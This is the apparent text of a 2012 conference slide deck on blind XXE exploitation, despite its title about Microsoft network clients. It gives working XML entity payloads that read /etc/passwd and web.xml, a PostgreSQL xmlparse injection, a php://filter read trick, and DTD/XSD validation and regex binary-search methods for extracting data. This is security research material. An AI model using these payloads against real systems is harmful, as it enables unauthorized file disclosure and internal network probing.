Attacks against Microsoft network web clients

Attacks against Microsoft
network web clients
PHDays, Russia, Moscow, 31/05/2012

Author bio
@d0znpp, d0znpp@onsec.ru

•Have engaged in research in the field of web
application security (since 2004);
•Founder and security expert of ONsec
company (since 2009);
•Now days: development of self-learning
systems for the detection of attacks on web
applications and heuristic analysis.

MS network under attack
• Trusted domain
• Same Origin Policy on trusted domain
• Local network area
• Security policy
• Bypass “no-proxy for local addresses”
• Profit

Blind XXE exploitation
PHDays, Russia, Moscow, 31/05/2012

Good morning. Wake up, 0day
PostgreSQL all versions (8.4.11 debian
4.4.5-8 tested)

xmlparse(document ‘<!DOCTYPE c [ <!
ENTITY a SYSTEM
"http://172.28.202.20/">]><c>&a</c>');

Good morning. Wake up, 0day
PostgreSQL all versions (8.4.11 debian
4.4.5-8 tested)
No way to read content from entity, but…
ERROR: invalid XML document
ПОДРОБНО: http://172.28.202.20/:1: parser error : StartTag: invalid element name
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/
TR/x
^
http://172.28.202.20/:139: parser error : AttValue: " or ' expected
<img src='http://seclog.ru/main/logo.php' width=0 height=0/>

XXE basics
Parser bug (feature)
•To read local files
•To make DoS (by reading /dev/zero loops)
<?xml encoding='utf-8' ?>
<!DOCTYPE a [<!ENTITY e SYSTEM
'/etc/paswd'> ]>
<a>&e;</a>

XXE applications
• Local files
• Internel network resources
• Port scan (http://192.168.0.1:22/)
• MS Windows network resources (adC$)
• Wrappers (ldap:// in perl, expect:// ssh2://
etc.)

Classic XXE vuln
• Based on web application error messages,
such as:
“Unknown language DATA”
“Login DATA are not valid”
“Password for user DATA does not match”

• Could not provide reading of files with non-
valid characters, such as 0x02 < > etc.

Vuln which won a “Month of Yandex
bugs hunting“ contest
$ ./xxe-direct.pl --file=“/etc/passwd”
<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-
ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:namesp2="http://namespaces.soaplite.com/perl"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAP-
ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:namesp84="http://xml.apache.org/xml-soap"
xmlns:xsd="http://www.w3.org/2001/XMLSchema" SOAP-
ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:
Body>
<SOAP-ENV:Fault><faultcode xsi:type="xsd:string">SOAP-
ENV:511</faultcode><faultstring xsi:type="xsd:string">Unknown
language</faultstring><detail xsi:type="xsd:string">Unknown language
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh

What is wrong?
• Webapp may not display error messages
• You may want to get XML file contents in
Java

Interesting XMLs:
•web.xml
•tomcat-users.xml
•jetty.xml
•http.conf (malformed)

PHP way to read anything
• PHP wrapper provide a filter functional
php://filter/convert.base64-
encode/resource=web.xml

• Then need to display an error messages
too

What is blind?
• Use DTD and XSD validations

• Get a validation result (status or errors)

• Use bruteforce, regexp, binary search and
error message information (error-based) to
read external XML structure and data

DTD based attack formula
XMLinp = DTDint + XMLint + XMLext
V(XMLinp,DTDint)=V(XMLint,DTDint) && V(XMLext,DTDint)

XMLinp – input XML stream
DTDint – internal DTD schema
XMLint - internal XML structure
XMLext – external XML (XML to read)
V(xml,schema) – validation function, which returned
a validation status (error message or boolean)

DTD based attack: from idea to
schema
<?xml version=“1.0” ?>

<?xml version=“1.0”?> <!ENTITY ext SYSTEM “web.xml”>
<secret> <!ELEMENT root (secret+)>
<any> <!ELEMENT secret (any+)>
data <!ELEMENT any (#PCDATA)>
</any> XML validation error
</secret> <root>
&ext;
<secret><any>data</any></secret>
</root>
Web.xml

Input.xml

Example #1. Read attribute value
<!ATTLIST key
id (a|b) #REQUIRED >
<key id=“secret”></key>

Value "secret" for attribute id of mountain is
not among the enumerated set in //LibXML

Attribute "key" with value "secret" must have
a value from the list "a b ". //Xerces

Example #2. Brute external XML tag
<!ENTITY a SYSTEM "web.xml">
<!ELEMENT ext(root+)>
]>
<ext>&a;</ext>
-- > OK
<!ENTITY a SYSTEM "web.xml">
<!ELEMENT ext(foobar+)>
]>
<ext>&a;</ext>
-- > Element ext content does not follow the DTD,
expecting (root)+, got (CDATA ) //LibXML PHP

Example #3.Read external XML(Java)
factory.setValidating(true);//SAXParserFactory or
DocumentBuilderFactory
<!DOCTYPE root [
<!ELEMENT root (foo+)>
<!ENTITY a SYSTEM ’web.xml'>
]>
<root>
&a;
</root>
Element type ”bar" must be declared.
Where is “bar” tag? “Bar” in web.xml!

Problems of DTD based attacks
• Example #3 doesn’t work in LibXML PHP ;(
Only first tag name can be readed (Example #2)
from DOM object in PHP (library’s bug).

• DTD can’t be used to determine tag values (only
tag names, document structure and attribute
values)

• Bruteforce required if errors are not displayed

• Malformed XML such as http.conf can’t be readed

XSD based attack formula
XMLinp = DTDinp + XSDinp + XMLint + XMLext

V(XMLinp,DTDinp,XSDinp) = V(XMLint,DTDinp,XSDinp) &&
V(XMLext,DTDinp,XSDinp)

XMLinp – input XML stream
DTDinp – input DTD schema
XSDinp –input XSD schema
XMLint - internal XML structure
XMLext – external XML (XML to read)
V(xml,dtd,xsd) – validation function, which returned a
validation status (error message or boolean)

XSD based attack: from idea to
schema
<?xml version=“1.0” ?>
<?xml version=“1.0”?>
<!ENTITY ext SYSTEM “web.xml”>
<secret>
<root
<any>
xsi:noNamespaceSchemaLocation =
data
”http://myhost/int.xsd”>
</any> XML validation error
</secret>
&ext;
<secret><any>data</any></secret>
</root>
Web.xml

Input.xml

Example #4. Read tag values (XSD)
parser.setProperty("http://java.sun.com/xml/jaxp/pr
operties/schemaLanguage","http://www.w3.org/2001
/XMLSchema");
//SAXParserFactory or DocumentBuilderFactory
<!ENTITY ext SYSTEM “web.xml”>
<contacts
xsi:noNamespaceSchemaLocation=”int.xsd”>
<xs:element name=”password" type="xs:int"/>

cvc-datatype-valid.1.2.1: ’Secret' is not a valid value for 'integer'.
cvc-type.3.1.3: The value ’Secret' of element ’password' is not valid.
//Xerces

Binary search basics
a-n?

m-z? a-h?

a-e? h-n?

Faster binary search
• Phonetic chains
• Probability with which one letter follows another
one
• Based of phonetics features of languages
• Can be used to make text reading by binary
search faster
http://exploit-db.com/papers/13969/

Example #5. Binary search for tag
value (XSD)
<xs:element name="password" type="PWD"/>
…
<xs:simpleType name=”PWD">
<xs:restriction base="xs:token">
<xs:pattern value=”[a-m]{1}[a-z]+"/>
</xs:restriction>
</xs:simpleType>

If first character of password tag value between “a”
and “m” validation will true, else – false

And what about attacks without
validation status?
• Use something like time-based attacks!

• XSD parser validate all tags even else some of

them already not valid

• Parser != Interpreter

• What we can do in that case?

Example #6. 2blind attacks
<xs:element name=”secret">
<xs:complexType>
<xs:choice>
<xs:group ref=”conditionGrp"/>
<xs:group ref=”highloadGrp"/>
</xs:choice>
</xs:complexType>
</xs:element>

If value of secret tag approach to conditionGrp
parser doesn’t execute regexp from highloadGrp.
Then you should do highloadGrp regexp really
difficult ;)

Problems of XSD based attacks
• Internal XSD validation is rare in a wild
• Only 4% of all webapps with XXE vulns make
that*
• Could not be used to read malformed XML, such
as httpd.conf

* By our stats from security audits since 2009

???
PHDays, Russia, Moscow,
31/05/2012

@d0znpp
d0znpp@onsec.ru

Attacks against Microsoft network web clients

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